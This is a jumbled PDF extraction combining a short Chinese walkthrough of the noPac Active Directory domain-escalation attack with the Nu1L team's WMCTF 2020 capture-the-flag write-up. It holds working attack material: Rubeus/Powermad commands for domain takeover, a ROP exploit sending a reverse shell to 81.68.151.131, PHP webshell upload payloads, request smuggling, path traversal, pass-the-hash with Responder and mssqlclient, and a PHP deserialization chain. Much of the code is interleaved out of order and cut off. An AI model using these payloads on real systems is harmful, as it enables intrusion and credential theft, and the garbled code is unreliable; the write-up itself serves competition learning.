简而言之,用户可以创建一个机器账户,机器账户改名为dc,然后申请TGT,然后把自己改 名,然后DC在TGS_REQ时会找不到这个账户就会以自己的密钥加密TGS,然后就得到了一 个高权限的ST。 利用过程 测试账户为普通域账户 检查目标是否受到影响: 1 Rubeus.exe asktgt /user:labs /password:abc123! /domain:ssosec.lab /dc:SSO DC.ssosec.lab /nopac /nowrap 在无pac时和有pac时票据大小明显不同: 尝试攻击(域用户默认可以新建机器账户): 新增机器帐号使用powermad 1 New‐MachineAccount ‐MachineAccount TestSPN ‐Domain ssosec.lab ‐DomainCont roller SSODC.ssosec.lab ‐Verbose 清除SPN信息: 1 Set‐DomainObject "CN=TestSPN,CN=Computers,DC=ssosec,DC=lab" ‐Clear 'servi ceprincipalname' ‐Verbose 更改账户名称: 1 Set‐MachineAccountAttribute ‐MachineAccount TestSPN ‐Value "SSODC" ‐Attri bute samaccountname ‐Verbose 请求TGT: 1 Rubeus.exe asktgt /user:SSODC /password:abc123! /domain:ssosec.lab /dc:SS ODC.ssosec.lab /nowrap 更改回原属性: 1 Set‐MachineAccountAttribute ‐MachineAccount TestSPN ‐Value "TestSPN" ‐Att ribute samaccountname ‐Verbose 请求票据: 1 Rubeus.exe s4u /impersonateuser:Administrator /nowrap /dc:SSODC.ssosec.la b /self /altservice:LDAP/SSODC.ssosec.lab /ptt /ticket:[TGT] 即可DCsync 源码修改如下:https://github.com/GhostPack/Rubeus/pull/105/files 自动化如下:https://github.com/cube0x0/noPac 扩展:各种域外打法、利用SPN特性绕过EDR对于票据的检测。
pdf
WMCTF WriteUp By Nu1L AuthorNu1L Team WMCTF WriteUp By Nu1L RE Meet_in_July Welcome to CTF Wmware easy_apk easy_re WEB Make PHP Great Again gogogo base64 Make PHP Great Again 2.0 web_checkin2 SimpleAuth webweb web_checkin Misc Music_game XMAN_Happy_birthday Performance_artist sign-in Dalabengba Part1 Part2 Part3 Music_game_2 FeedBack Crypto piece_of_cake babySum Game Pwn roshambo cfgo-CheckIn mengyedekending RE Meet_in_July exeMIRACL N 320265757102059730318470218759311257989*361550014853497117429835520396253724753 Mathematicax Welcome to CTF Maincheck WMCTF{VGlrcFtsdVhmZn5UamFvaBAREhMVFxUTHR8dExUXFRM=} patchpatch // flag: flag{flag_part}flag_part 0-9A-F x = bytes_to_long(unhexlify(flag_part)) d = 15956426724371358762446154331862284300421200863619433817153609426765022725189 N = 115792089237316195423570985008687907932742180837157534228835789659027378301717 check if -7 x + 14 x^3 - 7 x^5 + x^7 == d (mod N) Solve[{-7 *x + 14 *x^3 - 7 *x^5 + x^7 == Mod[159564267243713587624461543318622843004212008636194338171536094\ 26765022725189, 320265757102059730318470218759311257989]}, Modulus -> 320265757102059730318470218759311257989] // {{x -> 314046182507365208896881670173330660473}} Solve[{-7 *x + 14 *x^3 - 7 *x^5 + x^7 == Mod[159564267243713587624461543318622843004212008636194338171536094\ 26765022725189, 361550014853497117429835520396253724753]}, Modulus -> 361550014853497117429835520396253724753] // {{x -> 10723067319997533594300359658518990548}} ChineseRemainder[{314046182507365208896881670173330660473, 10723067319997533594300359658518990548}, \ {320265757102059730318470218759311257989, 361550014853497117429835520396253724753}] // 1760820454524237872034879379805812342557597909323435364594773299479816\ 3637792 x = 176082045452423787203487937980581234255759790932343536459477329947\ 98163637792 Mod[-7 *x + 14 *x^3 - 7 *x^5 + x^7, 115792089237316195423570985008687907932742180837157534228835789\ 659027378301717] // 1595642672437135876244615433186228430042120086361943381715360942676502\ 2725189 0040208Ca**3 + b**3 + c**3 == 43 80435758145817515(-80538738812075974)**3 + 80435758145817515**3 + 12602123297335631**3==424243 42bn_cmppatch edx 43420040208C42 00402316base64 decodedump b64decode004021AERSAe65537N 0xcad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac27 4f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06 e3e95c26476091b52f462e79413db5 00405B00numdig RSAnumdig298bytes-a7bytesb0040208C 7bytes2*7=148bytes29-14=15RSA 0y aa aa aa aa aa aa aa bb bb bb bb bb bb bbya80538738812075974 b1260212329733563101 1e 21 8e 65 8d 3f c6 2c c5 90 7a 8d a9 4f 0040216B EB FE 00564080 01 00 00 00 8C 40 56 00 00 00 00 00 2A 00 00 00 .....@V.....*... 00564090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ python3 RsaCtfTool.py -n 0xcad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738a c274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617f cc734f06e3e95c26476091b52f462e79413db5 -e 65537 --uncipher 0x11e218e658d3fc62cc5907a8da94f Unciphered data : b'\x14\xe3\x87iT\xc3\xc2\x9d@\x8c1\x8d"\x18\xcd- 7Uk;\xacM\xfe\x93\x8f\xdb\xf6\x17\x07\x9b\x04\x1c\xc8\xa3\x96 h\x87D\x8b>Y\xfa\x186P\xf3\x15I\xba\xe0\x084\xe4z*\xcb\xc1\xed\xe2\xfb\xe5\xe1 x\xcd\xaffhU\xc6\x1d\x1e\x96)\x93]\x93f\xd8\xde\xe7n\x95\xfc\x18Mt\'\xe4y\xde\ xe6\xfbP"7' import base64 from binascii import unhexlify from Crypto.Util.number import bytes_to_long def evil_b64encode(m): Wmware 0x7c00disk16bit 0xb19 sub_164 cx = eax = LBA bx = 0x0B28 -> 0x0BBD get_inputabcdef01234567890 tbl = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/' real_tbl = [0] * 64 result = unhexlify( '77 5A 4B 47 B1 71 54 74 23 A0 29 98 DD EF 1A CA 21 9F B7 46 57 C3 A4 EC 3F EC F8 35 C0 52 51 6F 4E 82 BE 65 0E A8 64 FC 8B 8C 11 B2 80 9E F2 76'.replace(' ', '')) result = bin(bytes_to_long(result))[2:].rjust(0x30*8, '0') for i in range(0x30 * 8 // 6): idx = int(result[6*i:6*(i+1)], 2) real_tbl[idx] = tbl[i] real_tbl = ''.join(real_tbl) trans = str.maketrans(tbl, real_tbl) enc_test = base64.b64encode(m).decode().translate(trans) return enc_test if __name__ == '__main__': rsa_dec = b'\x14\xe3\x87iT\xc3\xc2\x9d@\x8c1\x8d"\x18\xcd- 7Uk;\xacM\xfe\x93\x8f\xdb\xf6\x17\x07\x9b\x04\x1c\xc8\xa3\x96 h\x87D\x8b>Y\xfa\x186P\xf3\x15I\xba\xe0\x084\xe4z*\xcb\xc1\xed\xe2\xfb\xe5\xe1 x\xcd\xaffhU\xc6\x1d\x1e\x96)\x93]\x93f\xd8\xde\xe7n\x95\xfc\x18Mt\'\xe4y\xde\ xe6\xfbP"7' # print(hex(bytes_to_long(rsa_dec))) print('WMCTF{' + evil_b64encode(rsa_dec) + '}') inputarr for i in range(81): for x in range(9): if i % 3 == 0: ... elif i % 3 == 1: ... else: ... 81 0 a = *(DWORD *)(arr) b = *(DWORD)(arr + 1) edx = ~((a | b) & (~a | ~b) & 0x24114514) edi = 0x24114514 eax = ~(~((a | b) & (~a | ~b)) & ~0x24114514) & ~((a | b) & (~a | ~b) & 0x24114514) ebx = ~0x24114514 eaxa 81*9 1 a = *(DWORD *)(arr) b = *(DWORD *)(arr + 1) eax = ((~(~a & ~b) & ~(a & b)) & ~0x1919810) | (~(~(~a & ~b) & ~(a & b)) & 0x1919810) ebx = ~0x1919810 edx = ~(~(~a & ~b) & ~(a & b)) & 0x1919810 edi = 0x1919810 eaxa 2 a = *(DWORD *)(arr) b = *(DWORD)(arr + 1) eax = (((a & ~b) | (~a & b)) | 0x19260817) & (~((a & ~b) | (~a & b)) | ~0x19260817) ebx = 0x19260817 edx = ~((a & ~b) | (~a & b)) | ~0x19260817 edi = ~0x19260817 eaxa for i in range(0x81): if i % 3 == 0: for x in range(9): inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x24114514 elif i % 3 == 1: for x in range(9): inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x1919810 elif i % 3 == 2: for x in range(9): # print(enc[x % 9] ^ 0x19260817) inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x19260817 print(list(map(hex, inp))) print(enc == inp) # for i in range(0x80, -1, -1): if i % 3 == 0: for x in range(9, 0, -1): enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x24114514 elif i % 3 == 1: for x in range(9, 0, -1): enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x1919810 elif i % 3 == 2: for x in range(9, 0, -1): # print(enc[x % 9] ^ 0x19260817) enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x19260817 solve [0xD8, 0x74, 0x55, 0xEC, 0xB5, 0x04, 0x1A, 0x42, 0x11, 0x6D, 0xBA, 0x02, 0x5F, 0x05, 0x05, 0x81, 0x28, 0x6C, 0xA0, 0xED, 0x99, 0x04, 0xE0, 0x6A, 0xE7, 0x55, 0xA9, 0x18, 0x91, 0x35, 0xD6, 0x71, 0x64, 0xA8, 0x37, 0x45] #coding=utf-8 import struct enc = [0xEC5574D8, 0x421A04B5, 0x02BA6D11, 0x8105055F, 0xEDA06C28, 0x6AE00499, 0x18A955E7, 0x71D63591, 0x4537A864] # # enc = [0x01919A12, 0x4DE2C752, 0x01939812, 0x4FE2C550, 0x03919810, 0x4FE2C750, 0x01939A12, 0x4DE0C750, 0x72D78851] # inp = [0x55575757, 0x57575555, 0x55555557, 0x55575757, 0x57575555, 0x55555557, 0x55555757, 0x57575555, 0x55555555] def main(): # for i in range(0x80, -1, -1): if i % 3 == 0: for x in range(9, 0, -1): enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x24114514 elif i % 3 == 1: for x in range(9, 0, -1): enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x1919810 elif i % 3 == 2: for x in range(9, 0, -1): # print(enc[x % 9] ^ 0x19260817) enc[(x - 1) % 9] = enc[(x - 1) % 9] ^ enc[x % 9] ^ 0x19260817 # # for i in range(0x81): # if i % 3 == 0: # for x in range(9): # inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x24114514 # elif i % 3 == 1: # for x in range(9): # inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x1919810 # elif i % 3 == 2: # for x in range(9): # # print(enc[x % 9] ^ 0x19260817) # inp[x % 9] = inp[x % 9] ^ inp[(x + 1) % 9] ^ 0x19260817 print(list(map(hex, enc))) table1='1234567890abcdefghijklmnopqrstuvwxyz{}_+ABCDEFGHIJKLMNOPQRSTUVWXYZ' easy_apk dextestservicesetprop persist.sys.usb.config noneAPKtestservicesmaliManifest testservicedex ELFpatchflagAES(0x0-0x1f) liblte_security_decryption_eea3 (https://github.com/EinarGaustad/MasterThesis/blob/27e928512 1002e1dcec1ca0d4325a6d144c3ee72/lib/src/common/liblte_security.cc) patch liblte_security_decryption_eea3messageflag easy_re perl codeflag WEB table2= [0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0x0a,0x0b,0x1e,0x30,0x2e,0x20,0x12,0x 21,0x22,0x23,0x17,0x24,0x25,0x26,0x32,0x31,0x18,0x19,0x10,0x13,0x1f,0x14,0x16, 0x2f,0x11,0x2d,0x15,0x2c,0x1a,0x1b,0x0c,0x0d,0x4e,0x60,0x5e,0x50,0x42,0x51,0x5 2,0x53,0x47,0x54,0x55,0x56,0x62,0x61,0x48,0x49,0x40,0x43,0x4f,0x44,0x46,0x5f,0 x41,0x5d,0x5c,0x45] final=[0x6961a596, 0x60b77560, 0xb769787a, 0x598661b3, 0x9a996059, 0x75836160, 0x9e6660a6, 0x6b6f5969, 0x70596861] flag='' real_flag='' for x in final: x1=(x&0xff)-0x55 flag+=table1[table2.index(x1)] x2=((x>>8)&0xff)-0x55 flag+=table1[table2.index(x2)] x3=((x>>16)&0xff)-0x55 flag+=table1[table2.index(x3)] x4=((x>>24)&0xff)-0x55 flag+=table1[table2.index(x4)] for i in range(6): for j in range(6): real_flag+=flag[j*6+i] print real_flag if __name__ == '__main__': main() W3lcomeT0WMCTF!_*Fu2^_AnT1_32E3$ Make PHP Great Again gogogo go build -buildmode=plugin plug.go package main import ( "os/exec" "strings" ) func Read(test string) ([]byte, error) { return nil, nil } func Req(command string) ([]byte, error) { var true_command string if strings.Contains(command,"n1ctfn1ctf") { true_command = strings.Replace(command, "n1ctfn1ctf", "", -1) } else { true_command = "dashabichutiren" } res, err := exec.Command("bash","-c",true_command).CombinedOutput() return res, err import requests import collections import os from hashlib import md5 cookies = { "o" : "MTU5NjM4NTQ1OHxEdi1CQkFFQ180SUFBUkFCRUFBQVFfLUNBQUlHYzNSeWFXNW5EQWNBQlhWdVlXM WxCbk4wY21sdVp3d0hBQVZoWkcxcGJnWnpkSEpwYm1jTUJRQURhSE5vQm5OMGNtbHVad3dJQUFZM1k yWXdaalE9fOef3_t4hTf1V6aKQdS6yC9TfLcyhKsKrAsH2st3ucWh" } def get_hash(): burp0_url = "http://gogogo.wmctf1.wetolink.com:80/auth/login" burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept- Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"} a = requests.get(burp0_url, headers=burp0_headers,cookies=cookies).text b = a.split("md5(x + 'FLAG')[:6] == ")[1].split('&nbsp;')[0] return b def brute_hash(): h = get_hash() print("bruting hash: " +h) while True: nt = os.urandom(5) m = md5() m.update(nt + "FLAG") r = m.hexdigest()[:6] if r == h: print("found: " + nt) return nt def reg(): hs = brute_hash() burp0_url = "http://gogogo.wmctf1.wetolink.com:80/auth/register" burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept- Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://gogogo.wmctf1.wetolink.com/auth/register", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade-Insecure-Requests": "1"} burp0_data = {"uname": "admin\x00", "pwd": "admin123", "email": "[email protected]", "hsh": hs} print(requests.post(burp0_url, headers=burp0_headers, data=burp0_data,cookies=cookies).text) def login(): hs = brute_hash() burp0_url = "http://gogogo.wmctf1.wetolink.com:80/auth/login" base64 burp0_headers = {"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:56.0) Gecko/20100101 Firefox/56.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept- Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Referer": "http://gogogo.wmctf1.wetolink.com/auth/login", "Content- Type": "application/x-www-form-urlencoded", "Connection": "close", "Upgrade- Insecure-Requests": "1"} burp0_data = {"uname": "admin\x00", "pwd": "admin123", "hsh": hs} print(requests.post(burp0_url, headers=burp0_headers, data=burp0_data,cookies=cookies).text) url = "http://gogogo.wmctf1.wetolink.com/admin/invoke" params = collections.OrderedDict([("plugin", ('base.so',open('plug.so','r').read().encode('hex')))]) res = requests.post('http://n1ctf.com', files=params) body = res.request.body boundary = res.request.headers['Content-Type'] package='''POST /admin/upload HTTP/1.1 Host: 127.0.0.1 Cookie: o={} Content-Type: {} Content-Length: {} Cache-Control: no-cache {} GET /admin/reload HTTP/1.1 Host: 127.0.0.1 Cookie: o={} GET / HTTP/1.1'''.replace('\n','\r\n').format(cookies["o"],boundary,res.request.head ers['Content-Length'] ,body,cookies["o"]) data = { 'fn':'Req', 'arg':'http://127.0.0.1/auth/login?a=1 HTTP/1.1\r\nHost: 127.0.0.1\r\n\r\n'+package } c = requests.post(url, cookies=cookies, data=data) print(c.content) http://base.wmctf.wetolink.com/b64.php?filename=../../../../usr/lib/php/20170718/cfgoPHPExt_ne w.so gophpbase64decode leak phpfork from base64 import * from pwn import * import requests tmp = ''' <?php sleep(1); $x = "{context}"; print_r(base64decode($x)); ''' url = 'http://base.wmctf.wetolink.com/b64.php' # a = 'A'*100 # a = 'A'*132+p64(0xc000000000)+p32(0x100) # a = a.ljust(164,'\x00')+'\x0a' # tmp = tmp.format(context=b64encode(a)+'==') # f = open("./poc.php","w") # f.write(tmp) # f.close() # address = '\x1d\x5f\x82\x6e' address = '\x1d' for i in range(5): for j in range(256): try: tmp = address + chr(j) success(hex(u64(tmp.ljust(8,'\x00')))) a = 'A'*132+p64(0xc000000000)+p32(0x100) a = a.ljust(164,'\x00')+tmp text = b64encode(a)+'==' print text data = { 'text':text } r = requests.post(url,data=data,timeout=2,proxies= {'http':'http://127.0.0.1:8080'}) if r.status_code == 200: if j == 0x3c and i == 0: continue address = tmp break 0x7fd66e825f1d rop raw_input(">") except: continue from base64 import * from pwn import * import requests url = 'http://base.wmctf.wetolink.com/b64.php' ''' bash -i >& /dev/tcp/192.168.174.128/9090 0>&1 ''' tmp = ''' <?php sleep(1); $x = "{context}"; print_r(base64decode($x)); ''' base = 0x7fd66e730000 pop_rdi = base+0x000000000016126c pop_rsi = base +0x0000000000172118 pop_rdx = base+ 0x00000000000acbc3 syscall = base +0x00000000000f9719 pop_rax = base+0x000000000009b2b9 pop_0 = base+0x0000000000171340 for i in range(4096): print i mbase = 0xc000000000 +(i<<12) #a = ("/bin/bash\x00-c\x00bash -i >& /dev/tcp/81.68.151.131/9090 0>&1"+p64(0xc00007d8ac)+p64(0xc00007d8b6)+p64(0xc00007d8b9)).ljust(3*55- 1,'\x00')+p64(pop_rax)+p64(34)+p64(syscall) a = ("/bin/bash\x00-c\x00bash -i >& /dev/tcp/81.68.151.131/9090 0>&1\x00\x00\x00\x00"+p64(mbase+0x8ac)+p64(mbase+0x8b6)+p64(mbase+0x8b9)).ljus t(3*55- 1,'\x00')+p64(pop_rdi)+p64(mbase+0x8ac)+p64(pop_0)+p64(0)*2+p64(pop_rsi)+p64(m base+0x8e8)+p64(pop_rax)+p64(59)+p64(syscall)#+"/bin/bash\x00-c\x00bash -i >& /dev/tcp/127.0.0.1/9090 0>&1" tmp = tmp.format(context=b64encode(a)+'==') data = { 'text':b64encode(a)+'==' } r = requests.post(url,data=data,timeout=2) print r.status_code print r.text Make PHP Great Again 2.0 web_checkin2 http://v2222.no_body_knows_php_better_than_me.glzjin.wmctf.wetolink.com/? file=php://filter/convert.base64- encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc /self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se lf/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/ root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/roo t/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc /self/cwd/flag.php POST /? content=php://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%2 8%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resourc e=123.php HTTP/1.1 Host: web_checkin2.wmctf.wetolink.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0§§ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: multipart/form-data; boundary=---- WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Length: 187 ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="file"; filename="123123" <?php system('cat /flag');system('ls /');phpinfo();?> ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="file"; filename="123123" <?php system('cat /flag');system('ls /');phpinfo();?> ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="file"; filename="123123" <?php system('cat /flag');system('ls /');phpinfo();?> ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="file"; filename="123123" <?php system('cat /flag');system('ls /');phpinfo();?> ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="file"; filename="123123" <?php system('cat /flag');system('ls /');phpinfo();?> ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="file"; filename="123123" <?php system('cat /flag');system('ls /');phpinfo();?> ------WebKitFormBoundary2rwkUEtFdqhGMHqV Content-Disposition: form-data; name="file"; filename="123123" <?php system('cat /flag');system('ls /');phpinfo();?> ------WebKitFormBoundary2rwkUEtFdqhGMHqV # -*- coding: utf-8 -*- import requests import string charset = string.digits + string.letters host = "web_checkin2.wmctf.wetolink.com" port = 80 base_url = "http://%s:%d" % (host, port) def brute_force_tmp_files(): for i in charset: for j in charset: for k in charset: for l in charset: for m in charset: for n in charset: filename = i + j + k + l + m + n url = "%s/index.php?content=/tmp/php%s" % ( base_url, filename) print url try: response = requests.get(url) if 'phpinfo' in response.content or 'WMCTF' in response.content: print(response.content) with open("/tmp/flag.txt","a+") as f: f.write(response.content) print "[+] Include success!" return True http://web_checkin2.wmctf.wetolink.com/?content=/fffffllllllllaaaaaggggggg_as89c79as8 SimpleAuth NetNtlmv1 hash sqluser ntlm hash 9e8b5692b2507c3b917cf60a63b12bc3 mimikatz pthSSMSimpacketmssqlclient.py webweb https://github.com/bcosca/fatfree except Exception as e: print e return False def main(): brute_force_tmp_files() if __name__ == "__main__": main() >> try to request url...<br> <br /> <b>Warning</b>: curl_setopt(): Curl option contains invalid characters (\0) in <b>C:\phpstudy_pro\WWW\index.php</b> on line <b>4</b><br /> >> nothing.<br> Responder.py -I eth0 --lm sqluser::172_17_0_5:003BD64A68125E39500407807B3DAC62159D8306921AE676:003BD64A6 8125E39500407807B3DAC62159D8306921AE676:1122334455667788 python mssqlclient.py 172_17_0_5/[email protected] -hashes 9e8b5692b2507c3b917cf60a63b12bc3:9e8b5692b2507c3b917cf60a63b12bc3 -windows- auth <?php namespace { class Auth { const E_LDAP='LDAP connection failure', E_SMTP='SMTP connection failure'; //@} protected //! Auth storage $storage='1', //! Mapper object $mapper='1', //! Storage options $args='1', //! Custom compare function $func='1'; public $events=[]; public function __construct(){ //$this->events['disconnect'] = 'F3::AGENT->'; $this->events['disconnect'] = 'F3::config'; } } } namespace CLI{ class WS { const //! UUID magic string Magic='258EAFA5-E914-47DA-95CA-C5AB0DC85B11', //! Max packet size Packet=65536; //@{ Mask bits for first byte of header const Text=0x01, Binary=0x02, Close=0x08, Ping=0x09, Pong=0x0a, OpCode=0x0f, Finale=0x80; //@} //@{ Mask bits for second byte of header const Length=0x7f; //@} protected $addr, $ctx, $wait, $sockets, $protocol, $agents=[]; public $events=[]; function __construct() { $this->events['disconnect']='var_dump'; } function setaddr($a){ $this->addr = $a; } } class Agent { public $a; public $b; protected $server, $id=1, $socket='1', $flag='1', $verb='1', $uri='1', $headers='1'; public function __construct($ws){ $this->a = '/tmp/sess_smi1esmi1e'; $this->b = 456; $this->server = $ws; web_checkin http://web_checkin.wmctf.wetolink.com/?content=/flag Misc Music_game XMAN_Happy_birthday flag Performance_artist EMNISTCRC644 defcon final ai } } $WS = new WS(); $Auth = new \Auth(); $Agent = new Agent($Auth); $WS->setaddr($Agent); echo urlencode(serialize($WS)); } from PIL import Image import os im = Image.open('attachment.png') charset1 = '0123456789' charset2 = 'ABCDEF' dataset1 = 'training' dataset2 = 'emnist-byclass' def check(row,col, candidate): tmp = im.crop((28*col,28*row,28*col+28,28*row+28)) if candidate in charset1: for fname in os.listdir(f'pngs/{dataset1}/{candidate}'): t = Image.open(f'pngs/{dataset1}/{candidate}/{fname}') brainfuck to textflag sign-in welcome to WMCTF2020,here is your flag: https://t.me/WMCTF if t.tobytes() == tmp.tobytes(): return True return False elif candidate in charset2: for fname in os.listdir(f'pngs/{dataset2}/{candidate}'): t = Image.open(f'pngs/{dataset2}/{candidate}/{fname}') if t.tobytes() == tmp.tobytes(): return True return False guess = '''504B0304140000000800DB93C55086A3 9007D8000000DF01000008000000666C 61672E74787475504B0E823010DD9370 8771DDCCB0270D5BBD0371815A9148AC 6951C2ED9D271F89C62E2693D7F76BB7 DE9FC80D2E6E68E782A326D2E01F81CE 6D55E76972E9BA7BCCB3ACEF7B89F7B6 E90EA16A6EE2439D45179ECDD1C5CCFB 6B9AE489C1218C92B898779D765FCCBB 58CC920B6662C5F91749931132258F32 BBA7C288C5AE1031331A6608409DAC41 9F7724143412907814AB7A9221D6B8DE D0D25AEC8A634929025C46A33FE5A1D3 1679100323B1ABEE4A7A0708413A19E1 7718165F5D3E73D577798E36D5144B66 315AAE315078F5E51A292469F402504B 01021F00140000000800DB93C55086A3 9007D8000000DF010000080024000000 000000002000000000000000666C6167 2E7478740A0020000000000001001800 4A0A9A64243BD601F9D8AB392436D601 2D00CA13223BD601504B050600000000 010001005A000000FE00000000000000''' for row, line in enumerate(guess.splitlines()): for col, val in enumerate(line): if not check(row, col, val): print(row, col, val) row = 20 col = 27 tmp = im.crop((28*col,28*row,28*col+28,28*row+28)) tmp.show() print(check(row,col,'B')) Dalabengba Part1 Part2 part2githubhttps://github.com/MidoriYakumo/Fd Sig Aztec code https://manateeworks.com/free-barcode-scanner Part3 ‘5465162526f5f653f5562704f5570395’ ""Y0u_@re_5o_bRaVE s3cr3t.crypto0x9,0x208 0x9,0x200,1 flag Music_game_2 librosamfcc_to_audiomfccwav np.mean(np.abs(mfcc1-mfcc2))2MFCCwav L1-norm MFCC +200wav 0.9 np.mean(np.abs(mfcc1-mfcc2))4 pythonwav for i in range(20): for j in range(30): print('='*50) print(i, j) y, sr = librosa.load(path,sr=None) mfccs = get_wav_mfcc(path) mfccs = mfccs.T mfccs[i][j] += 200 wav = librosa.feature.inverse.mfcc_to_audio(mfccs, sr=sr) fname = f'test_{i}_{j}.wav' sf.write(fname, wav, sr) mfcc1 = get_wav_mfcc(fname) print(np.mean(np.abs(mfcc1-mfcc2))) ret=model.predict(mfcc1.reshape(1,30,20)) if ret[0][3] > max_score: max_score = ret[0][3] print(ret) print(ret.max(),ret.argmax()) for delta in range(200,400): print('='*50) y, sr = librosa.load(path,sr=None) mfccs = get_wav_mfcc(path) mfccs = mfccs.T # print(mfccs[15][11]) # print(mfccs[4][20]) # print(mfccs[2][16]) mfccs[1][11] += delta # mfccs[4][20] += 200 # mfccs[2][16] += 100 # print(mfccs[1]) wav = librosa.feature.inverse.mfcc_to_audio(mfccs, sr=sr) fname = f'test.wav' sf.write(fname, wav, sr) mfcc1 = get_wav_mfcc(fname) # print((mfcc1-mfcc2).argmax()) diff = np.mean(np.abs(mfcc1-mfcc2)) print(diff) ret=model.predict(mfcc1.reshape(1,30,20)) FeedBack We need your FeedBack! https://forms.gle/SmTytGGhvYxDtuoA7 Crypto piece_of_cake print(ret) print(ret.max(),ret.argmax()) if ret[0][3] > 0.9 and diff <4: break max_score = ret[0][3] import requests url = 'https://game2.wmctf.wetolink.com:4432/' session = '.eJwFwdsSQkAAANBfafa1h8S2mWZ6EMYQ0pDwti7r0pa2dpWMf--cCdzxE- wmsMjBDgS6mUsVw9ZPxbZ2itpiKA2mLtWmh8mWszhDcE2FnkTcd4qx8kXNvZBwqLcKe9SXUnThSj7C XDax1uv1i7RWqQRi7FPS2bFAInvAE7Y2MjqYUUfpV7oVLnUxWn0PblOl5NPZahMiONxrZzD9SyZfte RsCF4a7XXkhHpnFkNJeu_BPP8BGEA_PA.XybWJA.JTT_ZES9_dEA46EaKQ9lL2wgemE' session = requests.post(url,files= {'upfile':open('down.wav','rb').read()},cookies= {'session':session}).headers['Set-Cookie'].split(';')[0][8:] session = requests.post(url,files= {'upfile':open('down.wav','rb').read()},cookies= {'session':session}).headers['Set-Cookie'].split(';')[0][8:] print(session) babySum sumsubset-sumsum https://soreatu.com/posts/crypto-research-subset-su m-problem/ q = 192359116448169144239732559279167873674991055528723274633585550105988805882314 588820655472460542318699972690928754637295378701423245337531315365873278580242 690480684018217070094366564824180605097399643802487403317451651763211695567182 196794638278905490507370178938754153003096171453989691642021501195619445626100 789234651345443008897426151861259659735437665633698289583784192221631081801280 6039994663130018389148915877140241977970197925777401420049248182571504461 h = 205862450202644247416381466889451705753584436982629845673419003542312234098678 496245050989108734812051677022721812470657380148023723451057574466208711105989 751130012118500476671039723516645310783572817552226133138815812847888851891317 119112290035673185342790228472294281341625029243927396384948462350845827693165 837490995325509946351616404970719915734846507572199409518758474421626356643755 240183759107296301030055873601924541277345803987979508628631863663648575 c = 174326836776806877877770710542637269194160466464062665478768414192232699159805 709026962742906283133814764497402755448631915159420482945832506873726675136923 021901190702445828886191650614068062336166329481012181454991341541184200821021 177593874807666551819798004287508855767634327219980976724411637224437895321802 657408414325075346347925480141051333954906670797338529450025907981864915752525 2102771651790606426529094873286329899722334520351222862771146760669718142 v1 = vector(ZZ, [1, h]) v2 = vector(ZZ, [0, q]) m = matrix([v1,v2]); f, g = m.LLL()[0] a = f*c % p % g m = 